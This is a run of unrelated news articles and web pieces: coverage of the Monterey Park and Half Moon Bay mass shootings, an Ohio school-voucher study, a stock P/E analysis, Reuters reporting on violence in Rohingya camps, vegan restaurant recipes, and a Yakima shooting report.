When a tragedy occurs in a predominantly non-white area, the gut instinct of some members of marginalized communities may be to believe it is an act of targeted violence. That instinctual reaction is rooted in a history of persecution and violence that has only heightened in recent years.

"We got a target put on our back. We not only saw rising hate and violence against AAPI, Jewish, LGBTQ+, Black, and Latino communities since Donald Trump was elected, but also saw even higher levels during the pandemic," Varun Nikore, executive director of the AAPI Victory Alliance, said.

Anti-Asian attacks hit a record in recent years, punctuated by devastating events like the Atlanta spa shootings. Hate crimes toward Asian Americans increased by 339% in 2021, compared to a 124% rise in 2020, according to the Center for the Study of Hate and Extremism.

Last year, Michelle Go died after a man pushed her onto subway tracks in New York City. Almost exactly one year later in January 2023, an 18-year-old female student was stabbed in the head repeatedly because she was Asian.

The Monterey Park shooting sheds light on questions about not only racial violence, but also about violence more broadly  whether it's within or across identity groups. Militarism, colonialism, and hostility sown among groups are broader factors that "feed into a culture of violence," Shim told Insider.

"Asian American communities are also impacted by violence within our communities, and that's an important thing to talk about as well," Shim added.

Min Jin Lee (@minjinlee11) January 23, 2023

Community-based and systematic solutions to an 'epidemic' of violence

Experts say both public safety and community-centered solutions are necessary to addressing the problem of violence in America.

The Monterey Park shooting is a "continuation of a massive epidemic of gun violence that's causing these massacres," Stanley Mark, senior staff attorney at the Asian American Legal Defense and Education Fund, said.

"The heart of the problem here is the unfettered access to guns, even in a state that has some of the strongest gun laws in the country," Nikore told Insider, citing how gun ownership has led to an increase in domestic partner violence, accidental deaths, and deliberate attacks.

In addition to a re-defining of public safety and gun laws, communities can take steps to create a network of solutions that help prevent violence in the first place, including mental health counseling, financial and legal aid, and local organizations that understand the community they serve firsthand, according to experts.

"The bottom line is, it's violence. Just like the people who were killed in the Buffalo supermarket, the synagogue in Pittsburgh, the Baton Rouge nightclub, or schools across America, these families and individuals are suffering," Mark said. "We need to recognize that we're all in it together, and we need to deal with this in a systematic and structural way."

Read the original article on Insider
Home to a sizable charter school sector and a host of private academies, Ohio is one of the friendliest environments for school choice anywhere in the country.

Now, as courts and politicians decide the future of the states school voucher program, a study released in December indicates that private school choice hasnt had the damaging impact that many of its detractors claim. In fact, its author argues, racial segregation of students tended to decline in school districts where more students were eligible to receive vouchers from the state.

The report was commissioned by the Thomas B. Fordham Institute, a reform-friendly think tank with a special focus on research and advocacy in Ohio. Its arrival could help shape the debate over the effects of school vouchers and the course that the states ambitious choice agenda will take in 2023, though voucher critics may contest its findings on school funding.

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Alleging that the public funding of private schools is unconstitutional, and that the current system discriminates against minority students by increasing segregation in Ohios public schools, a coalition of school districts sued the state last year. A Columbus judge rejected an effort by the government to dismiss the case just a few weeks after the Fordham report was issued. At the same time, Republican lawmakers have revived an effort to massively expand the voucher program, known locally as EdChoice, to all of Ohios K12 students after a similar move stalled in December.

Roughly 60,000 kids statewide receive EdChoice scholarships ($7,500 for high schoolers, $5,500 for younger children) to defray tuition costs at private schools, including religious institutions. That number has increased dramatically over the last decade, leading supporters of public schools to complain that their enrollment, finances, and academic offerings have been harmed by the rapid movement of families and funding from districts.

Story continues

Stephane Lavertu

But study author Stephane Lavertu, a political scientist at Ohio State University, argued that his research didnt support those claims. The report shows that vouchers effects on student achievement and per-pupil funding in public schools are ambiguous, but not obviously negative  and far from increasing racial segregation in affected schools, he argued, EdChoice seems to actively decrease it.

What we can say with some level of certainty is that segregation did not go up in district schools, Lavertu said. In fact, we can say with some confidence that it went down. Thats the only finding where I would say that theres a clear direction, and its down.

Lavertu examined school- and district-level figures for 47 Ohio districts where students in at least one school were entitled to scholarships between the 200607 and 201819 academic years. While eligibility was eventually expanded to students from comparatively low-income families, the study focuses almost exclusively on the original eligibility threshold, which hinged on students attending a school designated by the state as underperforming.

The availability of vouchers clearly impacted student headcounts: On average, a district with at least one EdChoice-eligible school experienced a decline of between 10 and 15 percent of its students over a little more than a decade.

But those exits were disproportionately driven by non-white students, Lavertu found. Data from the Ohio Department of Education revealed that 56 percent of participants in EdChoice during the period under study were African American, Hispanic, American Indian, or Alaskan Native. Consequently, the average district that was exposed to EdChoice saw a 13 percent decline in its percentage of minority students; those departing students left for private schools with higher concentrations of white and Asian students, while the district schools they left became less racially isolated (falling from roughly 57 percent minority-enrolled to roughly 50 percent).

Happily, academic outcomes also improved somewhat. Using Ohios district performance index, a composite measure that includes the proficiency levels of students in all tested subjects and grades, Lavertu found that achievement climbed in the typical district with EdChoice-eligible schools. Those gains were reached from a startlingly low baseline, with average academic performance rising from the second percentile statewide (roughly the twelfth-lowest-performing district in Ohio) to the sixth percentile (roughly the 37th-lowest-performing district).

Those findings were far less definitive than those for segregation, the study notes, because it cant be known why the index ticked upward. The impetus might be improved teaching in public schools as a product of private school competition, but it could also stem from relatively lower-performing students being more likely to receive vouchers, changing the composition of the existing school system.

Related: Seizing on Parents Frustration, GOP Governors Push for Education Savings Accounts

While the academic results were very noisy, Lavertu said, the results make it hard to claim that the remaining public school students are worse-off academically than they would have been if vouchers didnt exist.

Funding questions

The studys most disputed assertions relate to the financial consequences of EdChoice, which are central to the arguments of its opponents.

Because voucher funding originates with the state, school districts only lose that portion of K12 revenue when their students leave for private schools (according to a Fordham brief, 42 percent of Ohios total K12 spending came from the state in Fiscal Year 2020, though the percentage allocated from Columbus to each district is determined through a complex formula). Local dollars, which are principally collected through property taxes, are not affected.

Once some families use their vouchers, that money is also spread over fewer public school students. In fact, per-pupil expenditures rose by 1.39 percent in districts exposed to EdChoice; operating expenditures (i.e., those unrelated to capital spending on things like land, buildings, and equipment) rose by 4.55 percent per-pupil. While those results arent big enough to be considered statistically significant, Lavertu argues in the study, they can effectively rule out the notion that tax-funded scholarships lead to declining spending on public school students.

Even if those calculations are accurate, however, voucher critics say that they ignore a disquieting reality: Some localities find themselves needing to raise their own property taxes in order to cover costs when students and state funding are gone. Their efforts to do so often fall short  the people of Parma, the states seventh-largest city, voted down 18 of the last 21 levies that were brought to the ballot  and even when they succeed, cash-strapped towns and cities are left reaching deeper into their own pockets to fund essential services.

Related: Ohio Budget Makes Big Investments in Social-Emotional Learning, Charter Schools

Thomas Sutton, a professor of political science at the private Baldwin Wallace University, pointed to the explosion of voucher use that has occurred since 2019, when the Ohio legislature lifted income thresholds for families to become eligible. Some districts have been left asking their residents to pay more for the same schools, often while attempting to cut costs by closing or consolidating buildings that cost the same to maintain no matter how many students are enrolled.

The amount of money those districts are using per-pupil hasnt declined precipitously, Sutton said. But the reason it hasnt declined is because theyve had to make it up through local taxation, not because theres been no impact on the local district. Meanwhile, state spending on private schools has skyrocketed.

Lavertu acknowledged that the immediate effects of losing students to programs like EdChoice could be difficult to deal with. But he added that the influence of school choice could still be neutral, or even beneficial, over time  particularly when combined with necessary reforms to adjust for shrinking enrollment.

When youre losing students and losing revenue, but those fixed costs are there, youve got to make some really hard choices going forward. In the short term, that can be really, really painful, he observed. What Id say with the funding is that, in the long run, it doesnt appear to have a negative financial impact.

School Choice The 74's ongoing news, commentary and analysis that captures the state of school choice in America. Read More

Matthew Chingos

The fiscal challenges facing Ohios schools could grow even more tangled with the implementation of HB 126, legislation that limits public challenges of property tax valuations. In recent decades, school districts have clawed back significant amounts of annual revenue by appealing to county boards when they believed that nearby properties  the vast majority of them commercial developments  were undervalued. Under the new law, the avenues to such challenges are sharply curtailed. Local authorities have also struggled to keep on top of loopholes that allow millions of dollars of tax revenue to go uncollected.

Matthew Chingos, vice president for education data and policy for the Urban Institute, has conducted several reviews of the effects of private school choice on phenomena such as segregation. Much of the existing research, he noted, looked at small-bore programs that were intended only for poor children or those with disabilities. But with more and more states attempting to rapidly scale their voucher initiatives  Ohio could be next if Republican lawmakers are successful  there could be a need for a new generation of evidence to shed light on how a more muscular approach to choice helps or hurts traditional public school systems.

[Scaling up] increases the potential for these programs to make a difference for the better, but it also raises the risk that, if they have negative effects, theyll be more widely felt, Chingos said.
Varia Europe Properties AG's (BRN:VARE) price-to-earnings (or "P/E") ratio of 25.4x might make it look like a sell right now compared to the market in Switzerland, where around half of the companies have P/E ratios below 17x and even P/E's below 12x are quite common. Nonetheless, we'd need to dig a little deeper to determine if there is a rational basis for the elevated P/E.

Varia Europe Properties certainly has been doing a great job lately as it's been growing earnings at a really rapid pace. It seems that many are expecting the strong earnings performance to beat most other companies over the coming period, which has increased investors willingness to pay up for the stock. If not, then existing shareholders might be a little nervous about the viability of the share price.

See our latest analysis for Varia Europe Properties

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We don't have analyst forecasts, but you can see how recent trends are setting up the company for the future by checking out our free report on Varia Europe Properties' earnings, revenue and cash flow.

Does Growth Match The High P/E?

In order to justify its P/E ratio, Varia Europe Properties would need to produce impressive growth in excess of the market.

Taking a look back first, we see that the company grew earnings per share by an impressive 130% last year. Despite this strong recent growth, it's still struggling to catch up as its three-year EPS frustratingly shrank by 33% overall. Therefore, it's fair to say the earnings growth recently has been undesirable for the company.

In contrast to the company, the rest of the market is expected to grow by 5.2% over the next year, which really puts the company's recent medium-term earnings decline into perspective.

In light of this, it's alarming that Varia Europe Properties' P/E sits above the majority of other companies. Apparently many investors in the company are way more bullish than recent times would indicate and aren't willing to let go of their stock at any price. There's a very good chance existing shareholders are setting themselves up for future disappointment if the P/E falls to levels more in line with the recent negative growth rates.

Story continues

What We Can Learn From Varia Europe Properties' P/E?

Generally, our preference is to limit the use of the price-to-earnings ratio to establishing what the market thinks about the overall health of a company.

We've established that Varia Europe Properties currently trades on a much higher than expected P/E since its recent earnings have been in decline over the medium-term. When we see earnings heading backwards and underperforming the market forecasts, we suspect the share price is at risk of declining, sending the high P/E lower. If recent medium-term earnings trends continue, it will place shareholders' investments at significant risk and potential investors in danger of paying an excessive premium.

It's always necessary to consider the ever-present spectre of investment risk. We've identified 4 warning signs with Varia Europe Properties (at least 1 which is a bit concerning), and understanding these should be part of your investment process.

It's important to make sure you look for a great company, not just the first idea you come across. So take a peek at this free list of interesting companies with strong recent earnings growth (and a P/E ratio below 20x).

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.



This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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By Ruma Paul, Sudipto Ganguly and Krishna N. Das

COX'S BAZAR, Bangladesh (Reuters) - Mohammed Ismail says four of his relatives were killed by gunmen at the Rohingya refugee camps in Bangladesh between April and October last year. He recalls the September night when, he says, he almost met the same fate: masked men kidnapped him, cut off parts of his left arm and leg and dumped him in a canal.

"They repeatedly asked me why I gave their personal details to the police," Ismail, seated on a plastic mat with his left limbs covered in white bandage and cloth, told Reuters at the Kutupalong refugee camp. "I kept telling them I didn't know anything about them and had not provided any information."

About 730,000 Rohingya, a mostly Muslim minority present in Myanmar for centuries but denied citizenship in the Buddhist-majority nation since 1982, fled to Bangladesh in 2017 to escape a military crackdown. Including others who migrated in prior waves, nearly 1 million live near the border in tens of thousands of huts made of bamboo and thin plastic sheets.

An increasing number of Rohingya are now leaving Bangladesh for countries such as Malaysia and Indonesia via perilous boat journeys, as rising crime in the camps adds to longstanding troubles like a lack of educational and work opportunities and bleak prospects of returning to military-ruled Myanmar.

Crimes recorded in the camps - including murder, kidnapping, rape, robbery, human trafficking and narcotics trade - have soared in recent years, according to data that Bangladesh police shared exclusively with Reuters. Murders rose to 31 in 2022, the highest in at least five years.

"A series of murders of Rohingya men, including some leaders, at the camps have sparked fear and concern about militant groups gaining power, and local authorities failing to curb increasing violence," said Dil Mohammed, a Rohingya community leader in the camps.

"That's one of the main reasons behind the surge in Rohingya undertaking dangerous sea voyages."

Story continues

Police declined to comment on questions about Ismail or the issues at the camps beyond the data they shared.

Data from UNHCR, the U.N. refugee agency, show that about 348 Rohingya are thought to have died at sea in 2022, including in the possible sinking late last year of a boat carrying 180 people, making it one of the deadliest years since 2014. Some 3,545 Rohingya made or attempted the crossing of the Bay of Bengal and the Andaman Sea to Southeast Asian countries last year, up from about 700 in 2021, the UNHCR said.

'BETTER TO DIE AT SEA'

Ismail, 23, said he believes insurgents targeted him and his relatives, who were aged between 26 and 40, after his cousins rejected repeated approaches over the preceding three or four years to join a militant outfit, the Arakan Rohingya Salvation Army (ARSA). The group has fought against Myanmar's security forces and some Rohingya say it has been recruiting fighters, often through coercion, in the Bangladesh camps.

In letters to the UNHCR in November and this month seen by Reuters, Ismail said he witnessed the killings of two of his cousins on Oct. 27.

Reuters could not independently verify the deaths of Ismail's relatives, but his account was corroborated by his brother, Mohammed Arif Ullah, 18. The UNHCR declined to comment on Ismail's case, citing safety and privacy risks.

About a dozen Rohingya men in the camps, who spoke to Reuters on the condition of anonymity for fear of reprisal, said that ARSA militants, whose stated goal is to fight for and restore the rights and freedom of the Rohingya in their ancestral homeland, were involved in criminal activities in the camps, including human and drug trafficking.

An ARSA spokesperson did not respond to questions Reuters sent by email and Twitter about the fates of Ismail and his family, and its alleged involvement in trafficking and attempts to recruit fighters in the camps. The group said on Twitter in December that its activities were confined to Myanmar.

"Any crimes and incidents happening in the camps... in all such happenings, most of the time innocent Rohingya refugees from the camps are labelled as ARSA members and extra-judicially arrested by the authorities," it said.

The UNHCR acknowledged concerns about crime in the camps, saying it had increased its presence so that refugees could access protection and support.

"Among the serious protection incidents reported to UNHCR are abductions, disappearances, threats or physical attacks by armed groups and criminal gangs involved in illegal activities," said Regina de la Portilla, the agency's communications officer in Bangladesh.

Reuters could not independently obtain evidence of drug trafficking by ARSA, though previous Reuters reporting described how refugees had been drawn into the trade out of desperation.

Accounts of violent crime in the overcrowded refugee settlements are adding to pressure on densely populated Bangladesh, which has struggled to support the Rohingya and has called for Myanmar to take them back.

Mohammed Mizanur Rahman, Bangladesh's Refugee Relief and Repatriation Commissioner based in Cox's Bazar, said the government was trying to control crime, including through a separate police battalion posted to the camps, but that "criminals just flee across borders when we run an operation".

"For me, ARSA are thugs, hoodlums, hopeless people who now depend on drug peddling and extortion," he said. "They don't have a country, society, and nobody recognises them. That is why they are involved in crimes and life is meaningless to them."

Human Rights Watch said this month, in a report based on interviews with more than 40 refugees, that Bangladesh police's Armed Police Battalion, which took over security in the camps in 2020, was committing extortion, arbitrary arrests, and harassment of Rohingya refugees. The battalion did not respond to emails seeking comment.

Rahman said returning the Rohingya to Myanmar was the "only solution" to their problems. But Myanmar's military junta, which took power in a coup two years ago, has shown little inclination to take them back. A Myanmar government spokesman could not be reached for comment.

Ismail, who lives with his parents, wife and brother, says he fears for his life and understands why some Rohingya are fleeing Bangladesh.

"It's better to die at sea than being killed by terrorists or dying every day living in fear," he said.

NO HOPE OF REPATRIATION

The police data show that crimes in the camps and the number of Rohingya arrested in Bangladesh last year were 16 times the levels of 2017 - a significant jump even after accounting for the influx of refugees. Police arrested 2,531 Rohingya and registered 1,220 cases last year, up from 1,628 arrests and 666 cases in 2021.

About 90% of cases last year, and a similar proportion of arrests, involved murder, illegal use of weapons, trade in narcotics, robbery, rape, kidnapping, attacks on police and human trafficking. Reuters could not determine how many of these resulted in convictions.

The murders of 31 Rohingya marked an increase from a previous high of 27 in 2021. Related arrests reached 290, from 97 a year earlier. Drug-related cases and arrests also soared.

Khair Ullah, a senior Burmese language instructor at the Development Research and Action Group, an NGO, said that besides concern about crime, the refugees were frustrated because about 90% of them had no education or employment.

"They are worried about their future. They can't support their old parents," said Ullah, 25, who is Rohingya and lives in the camps. "What will happen when they have kids? The other big issue is that there's no hope of repatriation from here, so they're trying to leave the camps illegally."

A FRAUGHT CHOICE

Reuters spoke with several refugees who returned to the Bangladesh camps after abandoning journeys to Malaysia, via Myanmar, out of trepidation.

Enayet Ullah, 20, who is not related to Khair Ullah, arrived in Bangladesh in 2017 with his family. In December, he said, he saw the bodies of two Rohingya men who had been killed in the area of the camps where he lives.

"When I saw their bodies, I was traumatised," he said. "I thought I could have died this way. Then I decided to leave the camp for Malaysia."

Taking a boat from Teknaf in Bangladesh with nine others on the night of Dec. 13, Ullah said he reached the Myanmar town of Sittwe the next day. He had arranged for traffickers to take him to Malaysia for 450,000 taka (about $4,300).

"More Rohingya were supposed to join us and then a bigger boat would sail for Malaysia," Ullah said. "They were waiting for a green signal to start the voyage. But my gut feeling was that the journey wouldn't be safe."

He got cold feet and asked the traffickers to send him back to Bangladesh for 100,000 taka.

Ullah laments that after more than five years in the camps, his homeland seems as far away as ever.

"No education, no jobs. The situation will only deteriorate as time passes by," he said.

Those who reach Malaysia - where there are about 100,000 Rohingya - often find their situation similarly dire. Deemed illegal immigrants, many are jobless and complain of harassment by police. And the deteriorating political situation in Myanmar since the coup has dashed any hopes of repatriation in the near term.

Mohammed Aziz, 21, said he pulled out of a sea trip to Southeast Asia after he saw pictures of boats that traffickers were using, and felt they were too small. He said he had to pay 80,000 taka for the trip to the Myanmar coast from Bangladesh and back.

"People are risking their lives on sea journeys as there is no future here and criminal activities are rising," Aziz said. "But I'll beg them not to take this dangerous sea route. You can end up dying at sea."

($1 = 104.2300 taka)

(Reporting by Ruma Paul in Cox's Bazar, Sudipto Ganguly in Mumbai and Krishna N. Das in New Delhi; Editing by David Crawshaw)
Jackfruit curry; sticky sesame vegetables; mixed vegetable momos (JWH Photography/Caitlin Isola)

Having a mid-Veganuary slump? These recipes from London restaurants Fatt Pundit and Mambow should jazz up your dinners for the week.

Fatt Pundits Indo-Chinese street food staple momos are a great way to start any meal, and can be easily filled with other proteins too. The tofu and vegetable filling is a homely healthy way to finish the day, and can be steamed or pan-fried.

The sticky sesame vegetables are another moreish classic that are a must-order at the restaurant, and are an easy way to impress friends or family at home.

Mambows Malaysian jackfruit curry from Abby Lee is the perfect warming vegan midweek meal that you can batch cook and enjoy again and again. Made with jackfruit, cabbage and green beans, its a healthy and delicious way to get five a day, and can be adapted with any other vegetable that has been stored away.

Sticky sesame vegetables

Ingredients:

100g carrot, cut into thin strips

200g cabbage, cut into thin strips

100g grean beans

100g onions, thinly sliced

Oil for frying

For the batter:

5 tbsp cornflour/corn starch

5 tbsp refined flour

Salt to taste

For the sauce:

4-5 garlic cloves, chopped

5-6 whole dry red chilli

50g spring onions, chopped

2 green chillies, finely chopped

2 tbsp ketchup

1 tbsp dark soya

1 tbsp agave nectar

Salt to taste

Toasted sesame seeds for garnish

Method:

1. Mix cornflour, refined flour and salt in a bowl with enough water to make a thick batter. Add the vegetables and mix so that all the vegetables are well coated. Mold the battered vegetables into palm-sized flattened cakes.

2. Heat enough oil in a wok and deep-fry the vegetable cakes 1-2 minutes, just until they start changing colour. Drain on absorbent paper and set aside.

3. Once the cakes are fried, cut them into bite-size pieces and again deep fry until they are golden brown and crispy.

4. For the sauce, heat two tablespoons of oil in a pan until its smoking hot, add the dry red chilli to get the smoking flavour in the pan/wok; add garlic, green chilli, sauteI until brown in colour.

Story continues

5. Add the ketchup, dark soya, honey, spring onion and salt, and sauteI for half a minute. Add all the fried vegetables and mix well until the vegetables are coated with the sauce. Sprinkle with toasted sesame seeds and serve hot.

Mixed vegetables momo

Indo-Chinese street food staple momos are a great way to start any meal (JWH Photography)

Prep time: 26-30 minutes | Cooking time: 11-15 minutes

Ingredients:

For the dough:

250g all-purpose flour

100g spinach leaves (optional for colour)

125ml water

 tsp salt

For the filling:

100g chopped shiitake

For the mushroom:

100g shredded green cabbage

70g chopped carrot

70g chopped courgette

50g chopped onions

2 tsp salt, more to taste

1 tbsp minced ginger

2 cloves garlic, minced

2 tsp sesame oil

2 tbsp soy sauce

120g firm tofu, crumbled

 tsp black pepper powder

 tsp white pepper powder

3-4 tbsp olive oil or vegetable oil

Method:

1. Start by making the dough for the dumpling wrappers. Put the flour in a large mixing bowl. Gradually add the water to the flour and knead into a smooth dough. Puree the spinach leaves in a blender and mix it well with dough. This process should take about 10 minutes. Cover with a damp cloth and let the dough rest for an hour.

2. In the meantime, make the filling. In a wok or large skillet over medium high heat, add 3 tablespoons oil and add ginger and garlic. Cook for 30 seconds, until fragrant. Add the onions and stir-fry until translucent.

3. Add the chopped mushrooms and stir-fry for a few minutes, until the mushrooms are tender, and any liquid released by the mushrooms has cooked off.

4. Add the cabbage, carrots, courgette, and stir-fry for another few minutes, until the veggies are tender, and all the liquid released has been cooked off. Transfer the vegetable mixture to a large colander, place the colander on a deep plate or tray to collect the excess water released by the vegetable mixture as it cools.

5. To the bowl add black pepper powder, white pepper powder, sesame oil, soy sauce. Season with salt to taste (though the soy sauce will usually add enough salt to the filling).

6. Crumble the tofu and add to this mixture.

7. Divide the dough into small balls. Roll in dry flour and roll into small 2 inch circle keeping the edges thin and the centre thick. For well executed MOMOs, it is essential that the middle portion of the wrapper be slightly thicker than the edges to ensure the structural integrity of dumplings during packing and steaming.

8. For packing hold wrapper on one palm, put one tablespoon of filling mixture and with the other hand bring all edges together to the centre, making the pleats. Pinch and twist the pleats to ensure the absolute closure of the stuffed dumpling. This holds the key to good tasting, juicy dumplings.

9. To cook the dumplings, steam them or pan-fry them. To steam, put the dumplings in a steamer (oil the steamer rack well to avoid sticking) lined with a bamboo mat, cabbage leaf, or cheese cloth, and steam for 15-20 minutes.

10. To pan-fry, heat 2 tablespoons oil in a non-stick pan over medium high heat. Place the dumplings in the pan and allow to fry for 2 minutes. Pour a thin layer of water into the pan, cover, and reduce heat to medium-low. Allow dumplings to steam until the water has evaporated. Remove the cover, increase heat to medium-high and allow to fry for a few more minutes, until the bottoms of the dumplings are golden brown and crisp.

Sesame seed chutney (for the momo)

Ingredients:

1 tbsp vegetable oil or olive oil

2 tbsp garlic paste

2 tbsp ginger paste

1 tbsp red chilli flakes, or less to taste

3 tbsp sesame seeds

100g red onion, chopped

350g tomato, chopped

2 tbsp freshly squeezed lemon juice

1 cup water

Method:

1. Heat the oil in a pan over medium. Add the garlic and ginger and cook until fragrant, Add the sesame seeds and red chilli flakes and roast for a couple of minutes.

2. Add the onion and saute until soft, then add the chopped tomatoes. Cook until soft and juicy.

3. Transfer the mixture to a blender, lemon juice, and water and blend until smooth. Taste and add salt if desired. Use immediately or allow to chill in fridge.

Gulai nangka (jackfruit curry)

The perfect warming vegan midweek meal that you can batch cook and enjoy again and again (Caitlin Isola)

Recipe by: Abby Lee, chef-founder of Mambow, London

Serves: 4

Ingredients:

480g tinned young green jackfruit

120g gulai paste (see below)

10g curry powder

6 makrut lime leaf

280g coconut milk (Aroy-D is our favourite brand)

4g gula melaka (or another type of palm sugar)

280g water

1 asam gelugor (or 1 tsp tamarind concentrate to taste  Vietnamese or Thai brand preferably)

145g white cabbage, cut into big chunks

40g green beans, ends off and cut into two

Fine sea salt to taste

100ml rapeseed or vegetable oil

For the gulai paste:

20g soybean paste or white miso paste

65g shallots

10g garlic

15g ginger

5g red birds eye chilli

For the curry powder:

 tsp ground turmeric

 tbsp ground cumin

 tsp ground fennel

 tbsp ground coriander

Method:

1. Chop the ingredients for the gulai paste roughly and blend until smooth into a food processor.

2. Mix the ingredients for the curry powder.

3. In a medium saucepan, heat vegetable oil to a medium high heat. Add the gulai paste and curry powder, stir well and fry until it is fragrant, for about 5 minutes.

4. Drain and add your jackfruit pieces to the pan. Coat each piece well in the paste. Add water to the pan so the jackfruit is nearly covered. At this point, add your seasonings  gula melaka, asam gelugor, salt. Let simmer for 45 minutes.

5. Towards the last 10 minutes of cooking time, you can then add makrut lime leaf, white cabbage, green beans and coconut milk. Do not overboil the coconut milk.

6. Taste at the end for more sugar, salt or tamarind. Serve!
At least seven people were killed and one person seriously injured after a gunman opened fire at two separate sites in Northern California on Monday, authorities said, in the latest mass shooting to hit the state in a matter of days.

The shootings unfolded at agricultural businesses on the outskirts of Half Moon Bay, a coastal city of roughly 11,000 about 30 miles south of San Francisco, San Mateo County Sheriff Christina Corpus told reporters.

The eighth victim was taken to a local hospital with life-threatening injuries, Corpus said.

The suspected shooter, identified by authorities as Chunli Zhao, 67, was arrested within hours of the first shooting, with video captured by NBC Bay Area showing him surrendering to authorities at a sheriffs substation.

Chunli Zhao being arrested on Monday in the parking lot of the Sheriffs Office Half Moon Bay as a suspect for the mass shooting earlier that day. (Kati McHugh)

Zhao, a resident of Half Moon Bay, is believed to have been a worker at at least one of the locations targeted, Corpus said. We know that he acted alone at this time, she said.

A motive in the mass shooting remained unclear, Corpus said.

The victims have yet to be identified. Corpus said they were believed to be workers at the two plant nurseries, but said that detail had not yet been confirmed.

People live at one or both of the locations, and Corpus said children were present when the gunfire erupted.

It was in the afternoon when kids were out of school, she said. For kids to witness this  its unspeakable.

Multiple people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and officials say a suspect is in custody. (Jeff Chiu / AP)

Deputies were dispatched to the first location at 2:22 p.m. after a report of a shooting, Corpus said. They found four people dead at the business and one person with critical injuries, she said.

Shortly after, authorities found three more fatally wounded victims at the second location, she said.

Roughly two hours after the first shooting, a deputy located Zhaos SUV at the substation and he was taken into custody, Corpus said.

It wasnt clear how long Zhao had been there or why he was there, she said.

White House Press Secretary Karine Jean-Pierre said President Joe Biden had been briefed on the mass shooting in Half Moon Bay. She said the president had asked federal law enforcement to provide any necessary assistance to local authorities.

Story continues

Police investigate fatal shootings at a mushroom farm and trucking company near Half Moon Bay, in San Mateo County, California, on Monday. (KNTV)

The FBIs San Francisco office said in a tweet it was assisting in the investigation into the shooting

The shooting comes two days after a mass shooting in Southern California left 11 people dead who had gathered at a Los Angeles County dance hall for Lunar New Year celebrations.

Investigators in that case believe the suspected gunman may have been targeting his ex-wife.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting, Gov. Gavin Newsom said Monday. This time in Half Moon Bay.

Tragedy upon tragedy, he said.

This article was originally published on TODAY.com
Seven people were killed and another victim was seriously wounded in shootings at two locations in the city of Half Moon Bay, California, police said Monday night. The suspect is in custody, the San Mateo Sheriff's Office said.

Police responded to a call of a shooting with multiple victims at around 2:20 p.m. local time. When officers arrived at the Magic Mushroom Farm on San Mateo Road/Highway 92, they found four deceased victims with gunshot wounds. A fifth person who had also been shot was taken to the hospital with life-threatening injuries, police said at a Monday night news conference.

Police then found three more deceased victims at a second business located further south on Cabrillo Highway S./Highway 1.

The suspect was identified as Zhao Chunli, 67, of Half Moon Bay, police said. He was taken into custody without incident after he was located in his vehicle in the parking lot of the sheriff's substation, and a semi-automatic handgun was found in his vehicle, police said.

The motive for the shootings is not currently known. Police said the suspect acted alone and is believed to be a worker at one of the locations.

A suspect is taken into custody following shootings in Half Moon Bay, California, on Monday, Jan. 23, 2023. / Credit: CBS Bay Area

The shooting comes after the weekend's deadly mass shooting in Monterey Park, in Southern California, that left at least 11 people dead.

"Gun violence has come to our district today and I will do whatever I can to support the San Mateo County Sheriff's Department and Half Moon Bay city officials during this tragic event," Josh Becker, a state representative from the area, wrote on Twitter. "We will continue to monitor this situation. My thoughts go out to all affected."

California Gov. Gavin Newsom tweeted,"At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay."

"Tragedy upon tragedy," Newsom added.

This is a developing story and will be updated.

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The suspect arrested in connection with a pair of shootings in Northern California on Monday may have worked with the victims, the local sheriff said.

All of the evidence we have points to this being the instance of workplace violence, San Mateo County Sheriff Christina Corpus said at a press conference on Tuesday.

Seven people were killed and one was injured in the two related shootings at farms in Half Moon Bay on Monday.

Police arrested Chunli Zhao on Monday afternoon in the parking lot of the Sheriffs Office Half Moon Bay Police Substation, where he was found sitting in his car. Zhao worked at Mountain Mushroom Farm, the site of the first shooting, Corpus said.

Zhao, who police believe acted alone, legally purchased and owned the semi-automatic handgun found in his car, the sheriff added.

Corpus added on Tuesday that the coroners office is still working to identify the victims and notify next of kin.

As some of these victims were members of our migrant community, this represents a unique challenge when it comes to notifications and identifications of next of kin, she said.

The deaths come on the heels of a mass shooting in Monterey Park, Calif., on Saturday night that killed 11 people. There have been at least 39 mass shootings in the U.S. so far in 2023, according to the Gun Violence Archive.

President Biden renewed his call for a federal ban on assault weapons on Tuesday in the wake of the California shootings.

Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action, Biden said in a statement. I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe.

For the latest news, weather, sports, and streaming video, head to The Hill.
SEATTLE (AP)  Police located the suspect in the random killing of three people at a convenience store in Yakima, Washington, after he borrowed a stranger's cell phone to call his mother and confess to what he had done, authorities said Tuesday.

The suspect shot and killed himself behind some warehouses as officers approached, said Yakima Police Chief Matt Murray. No officers used force and none was injured, he added.

Police had surrounded Jarid Haddock's family home after Tuesday's pre-dawn killings, but he wasn't there, Murray said at a news conference. Instead, the 21-year-old had gone to the area of a Target store in the city, where he borrowed a woman's phone and called his mother.

The woman overheard the conversation, which included incriminating statements such as I killed those people, as well as the man's threats to kill himself, according to Murray. The woman then managed to get her phone back, separated herself from Haddock and called 911 to report his whereabouts, Murray said.

I listened to that call  it's pretty harrowing, Murray said. I have to really thank her again because she was very courageous in getting us there.

Murray said investigators still had no idea what prompted the shootings. Haddock entered the Circle K convenience store a little before 3:30 a.m. Tuesday and shot and killed two people who were there getting food, then stepped outside and shot someone else in a car.

There was no apparent conflict between the parties, Murray said, citing witness statements as well as surveillance footage. The male just walked in and started shooting.

He then walked across the street to another gas station and began shooting into his own car to get inside, because he had locked himself out, Murray said.

Police did not immediately release any information about the victims.

The attack is yet another outbreak of violence in the early weeks of 2023 as the U.S. suffers a wave of mass killings that has claimed dozens of lives.

Story continues

After the killings, police released a surveillance image of the man and warned the community to be on the lookout. Law enforcement converged on his parent's home, across a road from a storage facility on the outskirts of the city of nearly 100,000 residents, about 140 miles (225 kilometers) southeast of Seattle. Court records listed the home as a previously known address for Haddock.

